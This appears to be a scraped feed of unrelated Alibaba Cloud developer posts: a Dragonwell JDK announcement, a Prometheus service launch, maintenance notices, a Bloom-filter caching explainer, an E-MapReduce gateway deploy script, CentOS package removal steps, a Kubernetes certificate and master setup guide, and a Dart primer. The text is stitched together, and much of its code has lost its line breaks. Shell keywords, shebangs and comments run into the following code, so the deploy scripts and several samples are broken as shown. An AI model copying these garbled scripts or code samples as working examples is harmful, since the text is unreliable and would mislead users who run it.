        Alibaba Dragonwell 8 是一款免费的 OpenJDK 发行版。它提供长期支持,包括性能增强和安全修复。Alibaba Dragonwell 8 目前支持 X86-64/Linux 平台,在数据中心大规模 Java 应用部署情况下, 可以大幅度提高稳定性、效率以及性能。Alibaba Dragonwell 8 是 OpenJDK 的下游( friendly fork ),使用了和 OpenJDK 一样的 license。Alibaba Dragonwell 8 与 Java SE 标准兼容,用户可以使用 Alibaba Dragonwell 8 开发和运行 Java 应用程序。此次开源的 Alibaba Dragonwell 8 是阿里巴巴内部 OpenJDK 定制版 AJDK 的开源版本, AJDK 为在线电商,金融,物流做了结合业务场景的优化,运行在超大规模的,1,000,000+ 服务器的阿里巴巴数据中心。

        近期我们正在紧密筹备 Alibaba Dragonwell 11 的 release 。 Dragonwell 11 是基于 OpenJDK 11 的 Dragonwell 发行版本,拥有更多特性,可以更多地为云上场景赋能,模块化更加清晰,并将获得长期的支持,因此推荐大家关注和适时升级。

        ]]>
        免费试用!容器集群监控利器 阿里云 Prometheus 服务正式商业化 Fri, 02 May 2025 09:39:04 +0800 阿里云Prometheus服务将在2020年1月6日正式开启商业化,商业化之后,阿里云Prometheus服务致力于提供更加稳定、高效、优惠的Prometheus托管一站式服务,现在接入更有15天免费试用。
        15天免费试用地址,点击这里

        产品文档,点击这里

        Prometheus介绍

        Prometheus 是云原生领域最受认可的监控解决方案,在 2016 年加入 CNCF 基金会后,成为继 K8S 后第二个毕
        业项目,Prometheus 已经成为云原生监控领域的事实标准。
        开源Prometheus痛点

        • Prometheus高可用问题:Prometheus服务器是单机设计,在生产环境极易出现自身宕机不可用情况。
        • Prometheus服务器资源消耗大:Prometheus服务器对于集群的资源消耗巨大,特别是对于内存的占用,极易出现内存OOM问题导致服务不可用。
        • Prometheus本地存储无可扩展性:Prometheus默认提供的本地存储无法水平扩展,一旦出现磁盘问题则会造成数据丢失,无法满足生产环境下对于监控数据存储的扩展性和高可用性。
        • Prometheus自身运维挑战巨大:Prometheus server,alert manager,grafana等组件繁多,配置管理复杂,自身可运维差,虽然有Prometheus Operator这种方式,但还是无法从根本上解决需自运维这个症结。
        • Prometheus监控配置复杂,无法开箱即用:各种第三方exporter配置复杂,运行起来成本高,缺少监控大盘,需要大量时间精力进行监控配置。

        开源Prometheus优势

        • 开源社区活跃,迭代迅速,功能不断增强
        • 各种第三方监控插件和exporter不断贡献监控能力

        阿里云Prometheus服务优势

        针对开源Prometheus优缺点, 阿里云推出了Prometheus服务,在完全兼容开源Prometheus的同时,提供了一站式开箱即用的云服务,其特点包括

        • 精简稳定的Prometheus采集器:通过helm chart方式在用户集群部署,prometheus采集器基于prometheus server进行了功能的精简和优化,专注于服务发现和数据采集,资源消耗是相同的prometheus server的二十分之一,且支持水平扩展。
        • 稳定大容量的云存储:云存储基于阿里云的日志服务,提供接近无上限的存储空间和高效稳定的分布式存储。
        • 高效且强大的云端数据查询能力:通过部署在云端的Prometheus服务器提供完全兼容PromQL的指标查询能力,增加下推采样和长时间查询优化。
        • 默认告警服务:支持原生alerting rule, 默认集成钉钉、邮件等告警通道,打通云上告警联系人。
        • 开箱即用的Grafana云服务监控面板:默认提供K8S集群的监控大盘,包含主机,Pod,deployment,API Server,Ingress,coreDNS等各组件监控面板,并提供各种三方组件的监控面板。
          (各种组件监控大盘)

        1

        (默认提供的k8s集群监控)
        2

        (默认提供的APIServer监控面板)
        3

        阿里云Prometheus服务专业版

        在15天免费试用期结束后,用户可以自主选择是否开通Prometheus专业版,专业版针对默认抓取的Kubernetes集群相关的指标免费,包括集群概览,Deployment,Pod,Node指标以及ApiServer,Etcd,CoreDNS,Ingress等Kubernetes组件指标;而针对用户自定义上报的指标,按照上报次数收费。
        基础指标(免费)说明,点击这里

        收费标准,点击这里

        总结

        阿里云Prometheus服务经过近半年的公测试用,终于在新年伊始开始提供商业化服务,感谢广大用户在这半年里和我们一起成才和蜕变。我们坚信阿里云Prometheus服务会在云原生时代提供给大家最佳的监控体验。欢迎开通免费试用,入群更能享受专属优惠。
        15天免费试用地址,点击这里

        产品免费试用群(钉钉群):23155358
        产品文档,点击这里

        ]]>
        【升级】1月消息队列AMQP升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列AMQP】【升级通知】

        升级窗口:

        北京时间2020年1月14日 00:00 - 06:00

        北京时间2020年1月16日 00:00 - 06:00

        北京时间2020年1月21日 00:00 - 06:00
        北京时间2020年1月23日 00:00 - 06:00

        北京时间2020年1月28日 00:00 - 06:00

        北京时间2020年1月30日 00:00 - 06:00

        升级内容:华北1(青岛)、华北2(北京)、华东1(杭州)、华东2(上海)、华南1(深圳)等地域的消息队列AMQP服务升级。

        升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】1月14日阿里云支付系统​停机升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【支付系统】【升级通知】

        升级窗口:北京时间 2020年1月14日 00:00 - 03:00

        升级内容:为增强阿里云交易和支付系统的用户体验,我们将对相关系统进行升级,升级期间给您带来的不便敬请谅解,感谢您的支持与理解。

        升级影响:

        1、预付费(包年包月)商品无法正常支付,无法进行新购、续费、升级、退款等操作,如您有相关诉求,可提前操作;

        2、后付费(按量付费)产品可正常开通、变配,极端情况下可能会不可用,可在几分钟后重试相关操作;

        3、现金账户无法进行充值、提现等操作;

        4、后付费(按量付费)产品账单结算将延迟到升级完成后执行。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        【升级】1月14日MMX注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【域名】【注册局维护通知】

        维护时间:北京时间2020年1月14日 14:00 - 16:00

        维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

        维护影响:届时 .Vip/.Work/.Beer/.Luxe/.Fit/.Yoga 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

        1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

        2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

        如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

        由此给您带来的不便,我们表示歉意,敬请谅解。

        ]]>
        【升级】1月15日DataHub升级通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【Datahub】升级通知
        升级窗口:北京时间2020年1月15日 10:00 - 17:00
        升级内容:产品稳定性升级
        升级区域:华北,华东,华南,新加坡,吉隆坡,孟买,德国
        升级影响:正常情况下对客户无影响,升级过程中如果遇到任何问题,可随时联系阿里云反馈。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        解决微服务缓存常见问题——缓存击穿 Fri, 02 May 2025 09:39:04 +0800 “缓存”和“击穿”

        什么是缓存?

        缓存就是数据交换的缓冲区。
        我们通常的理解缓存的主要作用是提高查询效率。其实它还有着另一个非常重要的作用,就是上面提到的“缓冲”也就是对下层资源的保护作用。

        如何理解击穿

        很简单,我们上面提到的缓存的另外一个主要作用是“缓冲”对下层资源的防护,那么“击穿“就是让你的缓冲失效,从而对被保护的资源进行”冲击“。
        回到我们所开发的系统中,我们常常用缓存中间件如redis等,作为我们的缓存数据存储。当请求到达服务端时,我们优先查询缓存,缓存如果不存在,再查询数据库,如果查询到将数据写回缓存,使得下一次同样的请求能够命中缓存。如下图所示:
        image.png
        当大多数正常请求到达服务,大多会命中缓存数据库,也就是左半边红色部分(表示资源忙碌)。当一些攻击性请求,特意查询缓存中不存在的数据时,这时候按照我们上述处理逻辑,会直接透过缓存,到达数据库,进而对数据库进行流量冲击,体现为图中右半部分。

        一种有效的解决缓存击穿利器——布隆过滤器

        之上部分,我们提到了特意查询缓存数据库中不存在的数据会对数据库造成冲击,而数据库相对缓存,查询效率低很多,当大批量请求到达数据库,数据库因性能问题导致不再能及时响应请求,甚至出现宕机。那么我们如何进行防护?
        我们换种思路出发,如果能够判断出,哪些请求一定是系统中不存在的数据时,是不是就可以将请求进行拦截,不让请求到达数据层?答案:YES
        在这里,我们介绍一种有效的思路——布隆过滤器

        布隆过滤器概念

        什么是布隆过滤器?
        本质上布隆过滤器是一种数据结构,比较巧妙的概率型数据结构(probabilistic data structure),
        特点是高效地插入和查询,可以用来告诉你 “某样东西一定不存在或者可能存在”。

        布隆过滤器数据结构

        布隆过滤器是一个bit向量或者说bit数组,如下图:
        image.png

        布隆过滤器原理分析

        如果我们要映射一个值到布隆过滤器中,我们需要使用多个不同的哈希函数生成多个哈希值,并对每个生成的哈希值指向bit位置1,例如针对值”baidu“和三个不同的哈希函数分别生成了哈希值1、4、7,如下图所示:image.png
        OK,我们再存一个值”tencent“,如果哈希函数返回3、4、8的话,图则继续变为:
        image.png

        值得注意的是,4 这个 bit 位由于两个值的哈希函数都返回了这个 bit 位,因此它被覆盖了。现在我们如果想查询 “dianping” 这个值是否存在,哈希函数返回了 1、5、8三个值,结果我们发现 5 这个 bit 位上的值为 0,说明没有任何一个值映射到这个 bit 位上,因此我们可以很确定地说 “dianping” 这个值不存在。而当我们需要查询 “baidu” 这个值是否存在的话,那么哈希函数必然会返回 1、4、7,然后我们检查发现这三个 bit 位上的值均为 1,那么我们可以说 “baidu” 存在了么?答案是不可以,只能是 “baidu” 这个值可能存在。


        ]]>
        手动搭建Gateway连接阿里云E-MapReduce Fri, 02 May 2025 09:39:04 +0800 网络环境

        首先要保证 Gateway 节点在 E-MapReduce 对应集群的安全组中,Gateway 节点可以顺利的访问 E-MapReduce 集群。设置节点的安全组请参考创建安全组

        软件环境

        系统环境:推荐使用 CentOS 7.2 及以上版本。
        Java环境:安装 JDK 1.7 及以上版本,推荐使用 OpenJDK version 1.8.0 版本。

        搭建步骤

        E-MapReduce 2.7 及以上版本,3.2 及以上版本

        这些版本推荐您直接使用 E-MapReduce 控制台来创建 Gateway。如果您选择手动搭建,请先创建一个脚本,脚本内容如下所示,然后在 Gataway 节点上执行。执行命令为:

        sh deploy.sh <masteri_ip> master_password_file
        • deploy.sh:脚本名称,内容见下面代码

        • masteri_ip:集群的master节点的IP,请确保可以访问

        • master_password_file:保存 master 节点的密码文件,将 master 节点的密码直接写在文件内即可

        #!/usr/bin/bashif [ $# != 2 ]then
           echo "Usage: $0 master_ip master_password_file"
           exit 1;
        fi
        masterip=$1masterpwdfile=$2if ! type sshpass >/dev/null 2>&1; then
           yum install -y sshpass
        fiif ! type java >/dev/null 2>&1; then
           yum install -y java-1.8.0-openjdk
        fi
        mkdir -p /opt/apps
        mkdir -p /etc/ecm
        echo "Start to copy package from $masterip to local gateway(/opt/apps)"echo " -copying hadoop-2.7.2"sshpass -f $masterpwdfile scp -r -o 'StrictHostKeyChecking no' root@$masterip:/usr/lib/hadoop-current /opt/apps/echo " -copying hive-2.0.1"sshpass -f $masterpwdfile scp -r root@$masterip:/usr/lib/hive-current /opt/apps/echo " -copying spark-2.1.1"sshpass -f $masterpwdfile scp -r root@$masterip:/usr/lib/spark-current /opt/apps/echo " -copying tez"sshpass -f $masterpwdfile scp -r root@$masterip:/usr/lib/tez-current /opt/apps/echo " -extra-jars"sshpass -f $masterpwdfile scp -r root@$masterip:/opt/apps/extra-jars /opt/apps/
        
        echo "Start to link /usr/lib/\${app}-current to /opt/apps/\${app}"if [ -L /usr/lib/hadoop-current ]then
           unlink /usr/lib/hadoop-currentfi
        ln -s /opt/apps/hadoop-current  /usr/lib/hadoop-currentif [ -L /usr/lib/hive-current ]then
           unlink /usr/lib/hive-currentfi
        ln -s /opt/apps/hive-current  /usr/lib/hive-currentif [ -L /usr/lib/spark-current ]then
           unlink /usr/lib/spark-currentfi
        ln -s /opt/apps/spark-current /usr/lib/spark-currentif [ -L /usr/lib/tez-current ]then
           unlink /usr/lib/tez-currentfi
        ln -s /opt/apps/tez-current /usr/lib/tez-currentecho "Start to copy conf from $masterip to local gateway(/etc/ecm)"sshpass -f $masterpwdfile scp -r root@$masterip:/etc/ecm/hadoop-conf  /etc/ecm/hadoop-conf
        sshpass -f $masterpwdfile scp -r root@$masterip:/etc/ecm/hive-conf /etc/ecm/hive-conf
        sshpass -f $masterpwdfile scp -r root@$masterip:/etc/ecm/spark-conf /etc/ecm/spark-conf
        sshpass -f $masterpwdfile scp -r root@$masterip:/etc/ecm/tez-conf /etc/ecm/tez-conf
        echo "Start to copy environment from $masterip to local gateway(/etc/profile.d)"sshpass -f $masterpwdfile scp root@$masterip:/etc/profile.d/hdfs.sh /etc/profile.d/
        sshpass -f $masterpwdfile scp root@$masterip:/etc/profile.d/yarn.sh /etc/profile.d/
        sshpass -f $masterpwdfile scp root@$masterip:/etc/profile.d/hive.sh /etc/profile.d/
        sshpass -f $masterpwdfile scp root@$masterip:/etc/profile.d/spark.sh /etc/profile.d/
        sshpass -f $masterpwdfile scp root@$masterip:/etc/profile.d/tez.sh /etc/profile.d/if [ -L /usr/lib/jvm/java ]then
           unlink /usr/lib/jvm/javafi
        echo "" >>/etc/profile.d/hdfs.sh
        echo export JAVA_HOME=/usr/lib/jvm/jre-1.8.0 >>/etc/profile.d/hdfs.sh
        echo "Start to copy host info from $masterip to local gateway(/etc/hosts)"sshpass -f $masterpwdfile scp root@$masterip:/etc/hosts /etc/hosts_bak
        cat /etc/hosts_bak | grep emr | grep cluster >>/etc/hostsif ! id hadoop >& /dev/nullthen
           useradd hadoop
        fi

        E-MapReduce 2.7 以下版本,3.2以下版本

        需要创建一个脚本,脚本内容如下所示,然后在 Gataway 节点上执行。执行命令为:

        sh deploy.sh <masteri_ip> master_password_file
        • deploy.sh:脚本名称,内容见下面代码

        • masteri_ip:集群的 master 节点的 IP,请确保可以访问

        • master_password_file:保存 master 节点的密码文件,将 master 节点的密码直接写在文件内即可

        !/usr/bin/bash
        if [ $# != 2 ]
        then
           echo "Usage: $0 master_ip master_password_file"
           exit 1;
        fi
        masterip=$1
        masterpwdfile=$2
        if ! type sshpass >/dev/null 2>&1; then
           yum install -y sshpass
        fi
        if ! type java >/dev/null 2>&1; then
           yum install -y java-1.8.0-openjdk
        fi
        mkdir -p /opt/apps
        mkdir -p /etc/emr
        echo "Start to copy package from $masterip to local gateway(/opt/apps)"
        echo " -copying hadoop-2.7.2"
        sshpass -f $masterpwdfile scp -r -o 'StrictHostKeyChecking no' root@$masterip:/usr/lib/hadoop-current /opt/apps/
        echo " -copying hive-2.0.1"sshpass -f $masterpwdfile scp -r root@$masterip:/usr/lib/hive-current /opt/apps/echo " -copying spark-2.1.1"sshpass -f $masterpwdfile scp -r root@$masterip:/usr/lib/spark-current /opt/apps/echo "Start to link /usr/lib/\${app}-current to /opt/apps/\${app}"if [ -L /usr/lib/hadoop-current ]then
           unlink /usr/lib/hadoop-currentfi
        ln -s /opt/apps/hadoop-current  /usr/lib/hadoop-currentif [ -L /usr/lib/hive-current ]then
           unlink /usr/lib/hive-currentfi
        ln -s /opt/apps/hive-current  /usr/lib/hive-currentif [ -L /usr/lib/spark-current ]then
           unlink /usr/lib/spark-currentfi
        ln -s /opt/apps/spark-current /usr/lib/spark-currentecho "Start to copy conf from $masterip to local gateway(/etc/emr)"sshpass -f $masterpwdfile scp -r root@$masterip:/etc/emr/hadoop-conf  /etc/emr/hadoop-conf
        sshpass -f $masterpwdfile scp -r root@$masterip:/etc/emr/hive-conf /etc/emr/hive-conf
        sshpass -f $masterpwdfile scp -r root@$masterip:/etc/emr/spark-conf /etc/emr/spark-conf
        echo "Start to copy environment from $masterip to local gateway(/etc/profile.d)"sshpass -f $masterpwdfile scp root@$masterip:/etc/profile.d/hadoop.sh /etc/profile.d/if [ -L /usr/lib/jvm/java ]then
           unlink /usr/lib/jvm/javafi
        ln -s /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-3.b12.el7_3.x86_64/jre /usr/lib/jvm/javaecho "Start to copy host info from $masterip to local gateway(/etc/hosts)"sshpass -f $masterpwdfile scp root@$masterip:/etc/hosts /etc/hosts_bak
        cat /etc/hosts_bak | grep emr | grep cluster >>/etc/hostsif ! id hadoop >& /dev/nullthen
           useradd hadoop
        fi

        测试

        Hive

        [hadoop@iZ23bc05hrvZ ~]$ hive
        hive> show databases;
        OKdefaultTime taken: 1.124 seconds, Fetched: 1 row(s)
        hive> create database school;
        OK
        Time taken: 0.362 seconds
        hive>

        运行 Hadoop 作业

        [hadoop@iZ23bc05hrvZ ~]$ hadoop  jar /usr/lib/hadoop-current/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.6.0.jar pi 10 10Number of Maps  = 10Samples per Map = 10Wrote input for Map #0Wrote input for Map #1Wrote input for Map #2Wrote input for Map #3Wrote input for Map #4Wrote input for Map #5Wrote input for Map #6Wrote input for Map #7Wrote input for Map #8Wrote input for Map #9
          File Input Format Counters 
              Bytes Read=1180
          File Output Format Counters 
              Bytes Written=97Job Finished in 29.798 seconds
        Estimated value of Pi is 3.20000000000000000000


        ]]>
        卸载centos自带的openjdk和MySQL Fri, 02 May 2025 09:39:04 +0800 卸载openjdk
        1.查看已经安装的jdk
        rpm –qa|grep jdk
        java-1.7.0-openjdk-1.7.0.141-2.6.10.5.el7.x86_64
        java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64
        java-1.8.0-openjdk-headless-1.8.0.131-11.b12.el7.x86_64
        java-1.7.0-openjdk-headless-1.7.0.141-2.6.10.5.el7.x86_64
        ldap-4.19-1.el7.noarch
        copy-jdk-configs-2.2-3.el7.noarch
        2.卸载命令
        yum -y remove java-1.7.0-openjdk-1.7.0.141-2.6.10.5.el7.x86_64
        yum -y remove java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64
        yum -y remove java-1.8.0-openjdk-headless-1.8.0.131-11.b12.el7.x86_64
        yum -y remove java-1.7.0-openjdk-headless-1.7.0.141-2.6.10.5.el7.x86_64
        .noarch文件不用
        3.用Java –version查看

         提示如下: No such file or directoy

        卸载完成
        卸载mysql
        执行命令yum remove mariadb-libs即可。


        ]]>
        搭建一个完整的Kubernetes集群--自签APIServer SSL证书+master1配置 Fri, 02 May 2025 09:39:04 +0800 生成apiserver证书!

        vim ca-csr.json
        
        {    "CN": "kubernetes",    "key": {        "algo": "rsa",        "size": 2048
            },    "names": [
                {            "C": "CN",            "L": "BeiJing",            "ST": "BeiJing",            "O": "k8s",            "OU": "System"
                }
            ]
        }vim ca-config.json
        {  "signing": {    "default": {      "expiry": "876000h"
            },    "profiles": {      "kubernetes": {         "expiry": "876000h",         "usages": [            "signing",            "key encipherment",            "server auth",            "client auth"
                ]
              }
            }
          }
        }

        创建CA配置json文件

        创建apiserver证书的所需配置文件

        vim kube-proxy-csr.json
        {  "CN": "system:kube-proxy",  "hosts": [],  "key": {    "algo": "rsa",    "size": 2048
          },  "names": [
            {      "C": "CN",      "L": "BeiJing",      "ST": "BeiJing",      "O": "k8s",      "OU": "System"
            }
          ]
        }
        
        
        vim server-csr.json
        {    "CN": "kubernetes",    "hosts": [      "10.0.0.1",      "127.0.0.1",      "kubernetes",      "kubernetes.default",      "kubernetes.default.svc",      "kubernetes.default.svc.cluster",      "kubernetes.default.svc.cluster.local",      "10.100.97.55",      "10.100.97.78",      "10.100.97.79",      "10.100.97.80",      "10.100.97.81",      "10.100.97.82",      "10.100.97.83"
            ],    "key": {        "algo": "rsa",        "size": 2048
            },    "names": [
                {            "C": "CN",            "L": "BeiJing",            "ST": "BeiJing",            "O": "k8s",            "OU": "System"
                }
            ]
        }

        .
        ├── ca-config.json
        ├── ca-csr.json
        ├── kube-proxy-csr.json
        └── server-csr.json

        生产证书

        cfssl gencert -initca ca-csr.json | cfssljson -bare ca -
        
        cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=kubernetes server-csr.json | cfssljson -bare servercfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=kubernetes kube-proxy-csr.json | cfssljson -bare kube-proxy

        image.png

        部署master

        二进制包下载地址:https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.16.md#v1161

        image.png

        mkdir -p /opt/kubernetes/{bin,cfg,k8s,ssl}
        wget "https://dl.k8s.io/v1.16.1/kubernetes-server-linux-amd64.tar.gz"tar xvf kubernetes-server-linux-amd64.tar.gz
        cp  *.pem /opt/kubernetes/ssl/cp /usr/local/src/kubernetes/server/bin/{kube-apiserver,kube-controller-manager,kube-scheduler,kubectl} /opt/kubernetes/bin/

        二进制文件位置:kubernetes/server/bin

        创建配置文件 /opt/kubernetes/cfg/
        #####
        vim kube-apiserver.conf 
        
        KUBE_APISERVER_OPTS="--logtostderr=false \
        --v=2 \--log-dir=/opt/kubernetes/logs \--etcd-servers=https://10.100.97.78:2379,https://10.100.97.79:2379,https://10.100.97.55:2379 \--bind-address=10.100.97.78 \--secure-port=6443 \--advertise-address=10.100.97.78 \--allow-privileged=true \--service-cluster-ip-range=10.0.0.0/24 \--enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,ResourceQuota,NodeRestriction \--authorization-mode=RBAC,Node \--enable-bootstrap-token-auth=true \--token-auth-file=/opt/kubernetes/cfg/token.csv \--service-node-port-range=30000-32767 \--kubelet-client-certificate=/opt/kubernetes/ssl/server.pem \--kubelet-client-key=/opt/kubernetes/ssl/server-key.pem \--tls-cert-file=/opt/kubernetes/ssl/server.pem \--tls-private-key-file=/opt/kubernetes/ssl/server-key.pem \--client-ca-file=/opt/kubernetes/ssl/ca.pem \--service-account-key-file=/opt/kubernetes/ssl/ca-key.pem \--etcd-cafile=/opt/etcd/ssl/ca.pem \--etcd-certfile=/opt/etcd/ssl/server.pem \--etcd-keyfile=/opt/etcd/ssl/server-key.pem \--audit-log-maxage=30 \--audit-log-maxbackup=3 \--audit-log-maxsize=100 \--audit-log-path=/opt/kubernetes/logs/k8s-audit.log"#####
        vim kube-controller-manager.conf 
        
        KUBE_CONTROLLER_MANAGER_OPTS="--logtostderr=false \
        --v=2 \--log-dir=/opt/kubernetes/logs \--leader-elect=true \--master=127.0.0.1:8080 \--address=127.0.0.1 \--allocate-node-cidrs=true \--cluster-cidr=192.244.0.0/16 \--service-cluster-ip-range=192.0.0.0/24 \--cluster-signing-cert-file=/opt/kubernetes/ssl/ca.pem \--cluster-signing-key-file=/opt/kubernetes/ssl/ca-key.pem  \--root-ca-file=/opt/kubernetes/ssl/ca.pem \--service-account-private-key-file=/opt/kubernetes/ssl/ca-key.pem \--experimental-cluster-signing-duration=87600h0m0s"#####
        vim kube-scheduler.conf
        
        KUBE_SCHEDULER_OPTS="--logtostderr=false \
        --v=2 \--log-dir=/opt/kubernetes/logs \--leader-elect \--master=127.0.0.1:8080 \--address=127.0.0.1"

        创建启动文件到/usr/lib/systemd/system

        ##########cat kube-apiserver.service
        [Unit]
        Description=Kubernetes API Server
        Documentation=https://github.com/kubernetes/kubernetes[Service]
        EnvironmentFile=/opt/kubernetes/cfg/kube-apiserver.conf
        ExecStart=/opt/kubernetes/bin/kube-apiserver $KUBE_APISERVER_OPTS
        Restart=on-failure
        
        [Install]
        WantedBy=multi-user.target
        
        
        
        ######################
        cat kube-controller-manager.service 
        [Unit]
        Description=Kubernetes Controller Manager
        Documentation=https://github.com/kubernetes/kubernetes[Service]
        EnvironmentFile=/opt/kubernetes/cfg/kube-controller-manager.conf
        ExecStart=/opt/kubernetes/bin/kube-controller-manager $KUBE_CONTROLLER_MANAGER_OPTS
        Restart=on-failure
        
        [Install]
        WantedBy=multi-user.target
        
        ########################
        cat kube-scheduler.service 
        [Unit]
        Description=Kubernetes Scheduler
        Documentation=https://github.com/kubernetes/kubernetes[Service]
        EnvironmentFile=/opt/kubernetes/cfg/kube-scheduler.conf
        ExecStart=/opt/kubernetes/bin/kube-scheduler $KUBE_SCHEDULER_OPTS
        Restart=on-failure
        
        [Install]
        WantedBy=multi-user.target
        ###############

        启用TLS Bootstrapping
        vim /opt/kubernetes/cfg/token.csv

        [root@master1 cfg]# tree /opt/kubernetes/
        
        ├── bin
        │   ├── kube-apiserver
        │   ├── kube-controller-manager
        │   ├── kubectl
        │   └── kube-scheduler
        ├── cfg
        │   ├── kube-apiserver.conf
        │   ├── kube-controller-manager.conf
        │   ├── kube-scheduler.conf
        │   └── token.csv
        ├── k8s
        └── ssl
            ├── ca-key.pem
            ├── ca.pem
            ├── kube-proxy-key.pem
            ├── kube-proxy.pem
            ├── server-key.pem
            └── server.pem##################手动启动可以检测参数是否有错误
        /opt/kubernetes/bin/kube-apiserver  --logtostderr=true --v=2 --log-dir=/opt/kubernetes/logs --etcd-servers=https://10.100.97.78:2379,https://10.100.97.79:2379,https://10.100.97.55:2379 --bind-address=10.100.97.78 --secure-port=6443 --advertise-address=10.100.97.78 --allow-privileged=true --service-cluster-ip-range=10.0.0.0/24 --enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,ResourceQuota,NodeRestriction --authorization-mode=RBAC,Node --enable-bootstrap-token-auth=true --token-auth-file=/opt/kubernetes/cfg/token.csv --service-node-port-range=30000-32767 --kubelet-client-certificate=/opt/kubernetes/ssl/server.pem --kubelet-client-key=/opt/kubernetes/ssl/server-key.pem --tls-cert-file=/opt/kubernetes/ssl/server.pem --tls-private-key-file=/opt/kubernetes/ssl/server-key.pem --client-ca-file=/opt/kubernetes/ssl/ca.pem --service-account-key-file=/opt/kubernetes/ssl/ca-key.pem --etcd-cafile=/opt/etcd/ssl/ca.pem --etcd-certfile=/opt/etcd/ssl/server.pem  --etcd-keyfile=/opt/etcd/ssl/server-key.pem --audit-log-maxage=30  --audit-log-maxbackup=3 --audit-log-maxsize=100 --audit-log-path=/opt/kubernetes/logs/k8s-audit.log

        systemctl start kube-apiserver
        systemctl start kube-controller-manager
        systemctl start kube-scheduler
        systemctl enable kube-apiserver
        systemctl enable kube-controller-manager
        systemctl enable kube-scheduler

        ![image.png](https://ucc.alicdn.com/pic/developer-ecology/68c415e0915e4dd3951af488b5b93003.png)


        ]]>
        Dart 语言基础入门篇 Fri, 02 May 2025 09:39:04 +0800 本文是【从零开始学习,开发个Flutter App】路上的第 1 篇文章。

        这篇文章介绍了 Dart 的基础特性,目的在于让大家建立对 Dart 语言的总体认知,初步掌握 Dart 的语法。

        我们假定读者已经有一定的编程基础,如果你了解 JavaScript 或者 Java 等面向对象语言,那 Dart 学习起来应该很有亲切感。

        Dart 是一门采取众家之长的编程语言。尽管 Dart 很多语法和 JavaScript 很相似,但 Dart 语言同时是一门强类型的语言,它同时结合了像 Java 这样强类型面向对象语言的特性,这使得它能胜任大型应用开发,同时它没有 Java 的臃肿,Dart 语言在设计上非常简洁、灵活和高效。

        JavaScript 从简单的浏览器脚本到服务端(nodejs),慢慢延伸到PC客户端(electron)、App (React Native)甚至小程序开发,它已然成为一门真正意义上的全栈开发语言。

        如果说 JavaScript 是在漫长的时光里野蛮生长,那 Dart 从一开始就是精心设计出来的。如果说有一门语言取代JavaScript的位置,那很可能就是Dart。

        Talk is cheep,下面就让我们来亲自感受一下这门语言的吧。

        变量

        你可以像 JavaScript 那样声明一个变量:

        var name = 'Bob';

        编译器会推导出 name 的类型是String 类型,等价于:

        String name = 'Bob';

        我们可以从下面代码窥见 Dart 是强类型语言的特性:

        var name = 'Bob';  
        // 调用 String 的方法print(name.toLowerCase());// 编译错误// name = 1;

        前面我们说过,Dart 除了具备简洁的特点,而且也可以是非常灵活的,如果你想变换一个变量的类型,你也可以使用dynamic 来声明变量,这就跟 JavaScript 一样了:

        dynamic name = 'Bob'; //String 类型name = 1;// int 类型print(name);

        上面的代码可以正常编译和运行,但除非你有足够的理由,请不要轻易使用。

        final 的语义和 Java 的一样,表示该变量是不可变的:

        // String 可以省略final String name = 'Bob'; 
        
        // 编译错误// name = 'Mary';

        其中 String 可以省略,Dart 编译器足够聪明地知道变量name 的类型。

        如果要声明常量,可以使用const 关键词:

        const PI = '3.14';class Person{  static const name = 'KK';
        }

        如果类变量,则需要声明为static const 。

        内置类型

        不像Java把类型分的特别细,比如整数类型,就有byteshortint 、long 。Dart 的类型设计相当简洁,这也是 Dart 容易上手的原因之一,可以理解为通过牺牲空间来换取效率吧。

        数值类型

        Dart 内置支持两种数值类型,分别是int 和double ,它们的大小都是64位。

        var x = 1;// 0x开头为16进制整数var hex = 0xDEADBEEF;var y = 1.1;// 指数形式var exponents = 1.42e5;

        需要注意的是,在Dart中,所有变量值都是一个对象,intdouble类型也不例外,它们都是num类型的子类,这点和JavaJavaScript都不太一样:

        // String -> intvar one = int.parse('1');assert(one == 1);// String -> doublevar onePointOne = double.parse('1.1');assert(onePointOne == 1.1);// int -> StringString oneAsString = 1.toString();assert(oneAsString == '1');// double -> StringString piAsString = 3.14159.toStringAsFixed(2);assert(piAsString == '3.14');

        字符串

        Dart 字符串使用的是UTF-16编码。

        var s = '中';
        s.codeUnits.forEach((ch) => print(ch));// 输出为UNICODE值20013

        Dart 采用了 JavaScript 中类似模板字符串的概念,可以在字符串通过${expression}语法插入变量:

        var s = "hello";  
        print('${s}, world!');  
        //可以简化成:print('$s, world!');//调用方法print('${s.toUpperCase()}, world!');

        Dart 可以直接通过==来比较字符串:

        var s1 = "hello";var s2 = "HELLO";assert(s1.toUpperCase() == s2);

        布尔类型

        Dart 布尔类型对应为bool关键词,它有truefalse两个值,这点和其他语言区别不大。值得一提的是,在Dart的条件语句ifassert表达式里面,它们的值必须是bool类型,这点和 JavaScript 不同。

        var s = '';assert(s.isEmpty);if(s.isNotEmpty){// do something}  
        //编译错误,在JavaScript常用来判断undefinedif(s){
        }

